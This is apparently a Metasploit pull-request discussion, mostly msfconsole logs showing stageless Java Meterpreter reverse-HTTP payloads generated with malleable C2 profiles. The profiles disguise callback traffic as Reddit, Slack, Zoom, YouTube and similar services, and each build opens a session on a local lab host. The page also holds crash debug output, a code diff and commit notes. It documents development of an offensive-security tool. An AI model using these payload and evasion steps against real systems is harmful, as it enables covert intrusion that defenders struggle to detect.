[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 6jnqm31o) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 3 opened (192.168.3.10:8080 -> 192.168.3.10:52200) at 2026-06-12 09:38:11 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > 

oscp ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/oscp.profile
malleablec2 => /home/kali/Documents/profiles/oscp.profile
msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60605 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 5
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60642 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8ns1wxt4) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8ns1wxt4) Redirecting stageless: URI '/oscp/XzNnyRV1CztHeENpLVRLSQbpCu23QAXEfVVhi9EoW7AFp2hHQNUvhbvUuGYGYi5lRTHPomu7s4ptSmL6CGxFuzXFinnVI8PYaYg1tyZ8m_scprvhOEa9kUxhpobhyW' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID XzNnyRV1CztHeENpLVRLTAl1c_iJsRn7p3ApEJroQgtlbIIWXOG33pTWSdp-BOk1PFbLZZkY46oflvJVgmKJB0bFXqnxBVwkuAH9Y
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8ns1wxt4) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8ns1wxt4) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8ns1wxt4) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 4 opened (192.168.3.10:8080 -> 192.168.3.10:60228) at 2026-06-12 09:40:04 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 4...

meterpreter > getuid
syServer username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > 

reddit ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/reddit.profile
malleablec2 => /home/kali/Documents/profiles/reddit.profile
msf payload(java/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60924 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 6
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: juwvnx0r) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: juwvnx0r) Redirecting stageless: URI '/r/webdev/comments/95ltyr' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID EGTbQeFo1fj5iP2Zk6T1bAzJ960VDiOSpiUYsuCxu-iKtZ2eoOdi_HrTCVow4SgIXn4kY3Zq2naBLBcO1SNFWInwhfX8DT1KBrNu81p8
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: juwvnx0r) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: juwvnx0r) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: juwvnx0r) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 5 opened (192.168.3.10:8080 -> 192.168.3.10:56980) at 2026-06-12 09:43:01 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

rtmp ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/rtmp.profile
malleablec2 => /home/kali/Documents/profiles/rtmp.profile
msf payload(java/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60705 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 7
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: m4fr8chk) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: m4fr8chk) Redirecting stageless: URI '/idle/1376547834/1' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID vlgZXgfoNCXS3dbMuPGEzgeEJ6GyzWaBqerNusTktvbiiQOUiDfM90
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: m4fr8chk) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: m4fr8chk) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: m4fr8chk) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 6 opened (192.168.3.10:8080 -> 192.168.3.10:34804) at 2026-06-12 14:55:16 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 6...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

slack ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/slack.profile
malleablec2 => /home/kali/Documents/profiles/slack.profile
msf payload(java/meterpreter_reverse_http) > sessions -i -1Interrupt: use the 'exit' command to quit
msf payload(java/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 8
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60884 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lkfdzjv1) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lkfdzjv1) Redirecting stageless: URI '/messages/C0527B0NM' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID lVu34eb-yNtt1mnHB_o7aQgNrxLZITvqtOyvc9Fw
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lkfdzjv1) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lkfdzjv1) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lkfdzjv1) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 7 opened (192.168.3.10:8080 -> 192.168.3.10:41430) at 2026-06-12 14:58:08 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > sysinfo
gComputer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

stackoverflow ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/stackoverflow.profile
malleablec2 => /home/kali/Documents/profiles/stackoverflow.profile
msf payload(java/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 9
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60939 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4c3evut9) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4c3evut9) Redirecting stageless: URI '/questions/32251816/c-sharp-directives-compilation-error' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID xiTcupxxmu1s4mjzBs477wYXJusQQsxnuC5aGr_HaQNXCgLQDie05hayhKg85ZlLp3YPUyhdmL
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4c3evut9) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4c3evut9) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4c3evut9) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 8 opened (192.168.3.10:8080 -> 192.168.3.10:54396) at 2026-06-12 14:59:26 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 8...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

trevor ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/trevor.profile
malleablec2 => /home/kali/Documents/profiles/trevor.profile
msf payload(java/meterpreter_reverse_http) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 10
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60878 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: vfndxg21) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: vfndxg21) Redirecting stageless: URI '/us/ky/louisville/312-s-fourth-st.html' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID 5WxAitBoMh8uzCrdROB5qQhEE9xGxEtph9aqbFfjzVRTEaOe0C2PRf6m6sghTLf8_WstoW88KuHA6htF
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: vfndxg21) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: vfndxg21) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: vfndxg21) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 9 opened (192.168.3.10:8080 -> 192.168.3.10:37404) at 2026-06-12 15:00:54 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 9...

meterpreter > getuid
sysServer username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > 

youtube_video ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/youtube_video.profile
malleablec2 => /home/kali/Documents/profiles/youtube_video.profile
msf payload(java/meterpreter_reverse_http) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 11
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60877 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4k2dhpag) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4k2dhpag) Redirecting stageless: URI '/watch' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID nlYb4stWOZuGYoJz7E7RtwdSuyR05TzP
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4k2dhpag) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4k2dhpag) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 4k2dhpag) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 10 opened (192.168.3.10:8080 -> 192.168.3.10:55920) at 2026-06-12 15:02:46 -0400

msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 10...

meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > getuid
Server username: kali
meterpreter > 

zoom ✅

msf payload(java/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/zoom.profile
malleablec2 => /home/kali/Documents/profiles/zoom.profile
msf payload(java/meterpreter_reverse_http) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Payload Handler Started as Job 12
msf payload(java/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(java/meterpreter_reverse_http) > generate -f jar -o ~/Public/metsrv.jar
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/meterpreter.jar is being used
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/java/com/metasploit/meterpreter/JarFileClassLoader.class is being used
[*] Writing 60846 bytes to ~/Public/metsrv.jar...
msf payload(java/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8vfgytsr) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8vfgytsr) Redirecting stageless: URI '/s/58462514417 /wc/58462514417' with UA 'Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' -> UUID 84tAJzcUIp0ukyqCRL92twfgC9oUHcEKt31xZER2fNv_5IA_ctxcc3w-gJZM_ptQFBsLlkcP7udRhOIuhWYD4sFmDpTPGTJYHEN4eS5Le
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8vfgytsr) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8vfgytsr) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 8vfgytsr) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
[*] Meterpreter session 11 opened (192.168.3.10:8080 -> 192.168.3.10:54244) at 2026-06-12 15:04:04 -0400
\
msf payload(java/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 11...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer        : kali
OS              : Linux 6.19.14+kali-amd64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > 

@OJ

OJ commented Jun 15, 2026

Copy link
Copy Markdown
Contributor Author

@dledda-r7 did the Microsoft Update profile start working after the most recent changes that included the ability to set the Host header?

@jbx81-1337

jbx81-1337 commented Jun 16, 2026

Copy link
Copy Markdown
Contributor

@dledda-r7 did the Microsoft Update profile start working after the most recent changes that included the ability to set the Host header?

I believe it was still broken, I will double check
Sorry, you were right i haven't pulled the latest changes. Cheers! Java is complete

@dledda-r7 dledda-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello OJ! I am trying the Windows meterpreter but with stageless (both tcp and http) i am getting access violation on windows 22h2 compiled with mingw, staged tcp works good.

can you check on your side? from what i saw, the ReflectiveLoader is getting executed and the crash is happening between the DllMain and the first communication with msf, so probably is a problem with the TLV block maybe(?), still investigating

EDIT: here is some more Debug output. Still investigating

DebugString: "[1d0c] [METSRV] Initializing from configuration: 0x000000014004BA00"
DebugString: "[1d0c] [XOR] XORing 28 bytes with key 6a1fa167"
DebugString: "[1d0c] [METSRV] Config length is 4 0x00000004"
DebugString: "[1d0c] [METSRV] Config block size is 36 0x00000024"
DebugString: "[1d0c] [METSRV] decrypting config packet"
DebugString: "[1d0c] [DEC] Packet header: [0x6A 0x1F 0xA1 0x67] [0x6A 0x1F 0xA1 0x67 0x6A 0x1F 0xA1 0x67 0x6A 0x1F 0xA1 0x67 0x6A 0x1F 0xA1 0xD8] [0x6A 0x1F 0xA1 0x65] [0x6A 0x1F 0xA1 0x6B] [0x6A 0x1D 0xA3 0xDA]"
DebugString: "[1d0c] [DEC] Packet buffer size is: 36"
DebugString: "[1d0c] [XOR] XORing 32 bytes with key 6a1fa167"
DebugString: "[1d0c] [DEC] Packet header: [0x6A 0x1F 0xA1 0x67] [0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xBF] [0x00 0x00 0x00 0x02] [0x00 0x00 0x00 0x0C] [0x00 0x02 0x02 0xBD]"
DebugString: "[1d0c] [DEC] Encryption flags set to 2"
DebugString: "[1d0c] [DEC] Actual payload Length: 4"
DebugString: "[1d0c] [DEC] Header Type: 131773"
DebugString: "[1d0c] [DEC] Local packet payload successfully allocated, copying data"
DebugString: "[1d0c] [DEC] TLV 1 length / type: [0x56 0xA2 0xB5 0xF0] [0xAB 0xAB 0xAB 0xAB]"
DebugString: "[1d0c] [DEC] Skipping 1453503984 bytes"
EXCEPTION_DEBUG_INFO:
           dwFirstChance: 1
           ExceptionCode: C0000005 (EXCEPTION_ACCESS_VIOLATION)
          ExceptionFlags: 00000000
        ExceptionAddress: 0000000000468903
        NumberParameters: 2
ExceptionInformation[00]: 0000000000000000 Read
ExceptionInformation[01]: 0000000056F06DD6 Inaccessible Address
First chance exception on 0000000000468903 (C0000005, EXCEPTION_ACCESS_VIOLATION)!

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey OJ!
I can't suggest you one small thing because it is not part of this PR, probably more a problem on the previous PR we landed. mingw complains about one small thing. here is the diff to make it shut up.

index 90aa7c12..74bd10cb 100644
--- a/c/meterpreter/source/metsrv/server_transport_winhttp.c
+++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c
@@ -1035,9 +1035,9 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio
        targetOptions->uuid_prefix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_PREFIX, NULL);
        targetOptions->uuid_suffix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_SUFFIX, NULL);
        targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL);
-       targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size);
+       targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, (DWORD *) &targetOptions->payload_prefix_size);
        targetOptions->payload_prefix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_PREFIX_SKIP);
-       targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size);
+       targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, (DWORD *) &targetOptions->payload_suffix_size);
        targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP);
        targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL);
        // A profile's `set uri` may list several candidate URIs, emitted as

@dledda-r7

Copy link
Copy Markdown
Contributor

Hello @OJ, OJ/metasploit-framework#26 this is fixing the issue i have encountered.

Comment thread python/meterpreter/meterpreter.py Outdated
@OJ

OJ commented Jul 5, 2026

Copy link
Copy Markdown
Contributor Author

Sorry I've been away for a while and haven't been near a PC.

@OJ

OJ commented Jul 5, 2026

Copy link
Copy Markdown
Contributor Author

OK so payloads and framework I think are all good at this point. Are you guys seeing any different?

OJ and others added 24 commits July 6, 2026 20:57
Add support for stageless java via jar file.
And fix a prefix/suffix type issue in UUIDs.
Without this, the MC2 host headers can't be modified, so any profile
that uses something like the 'Host' header (like Diego's profile) would
fail. This allows it to be set, making it work as expected.
A profile's `set uri` may list several space-separated candidate URIs
(Cobalt Strike picks one at random per request). Read every
TLV_TYPE_C2_URI from the GET/POST group into opts['uris'] instead of a
single value, and have _build_request_url pick one at random per
request. This avoids pasting the raw "uri-a uri-b" string into the
request URL, which produced a space-corrupted HTTP request line.

Also add DEBUGGING-gated instrumentation to trace the C2 HTTP exchange:
a debug_hexdump helper plus logging of the outgoing GET request
(uuid/url/headers, or a non-c2 marker), the raw response body, the
bytes after prefix/suffix strip and inbound decode, packet validation
outcome, the incoming command id/TLVs in create_response, and the
old->new UUID in _core_patch_uuid.
A profile's `set uri` may list several space-separated candidate URIs
(Cobalt Strike picks one at random per request), emitted as repeated
TLV_TYPE_C2_URI values. parse_c2_verb_config now collects every
TLV_TYPE_C2_URI into $config['uris'] instead of reading a single value,
and http_build_profile_url picks one at random per request via
array_rand. This avoids pasting the raw "uri-a uri-b" string into the
request URL, which produced a space-corrupted HTTP request line. Both
the config-block and runtime transport-switch paths are covered, and
GET and POST both route through the random selection.
A profile's `set uri` may list several space-separated candidate URIs
(Cobalt Strike picks one at random per request), emitted as repeated
TLV_TYPE_C2_URI values. C2VerbConfig now carries a String[] uris instead
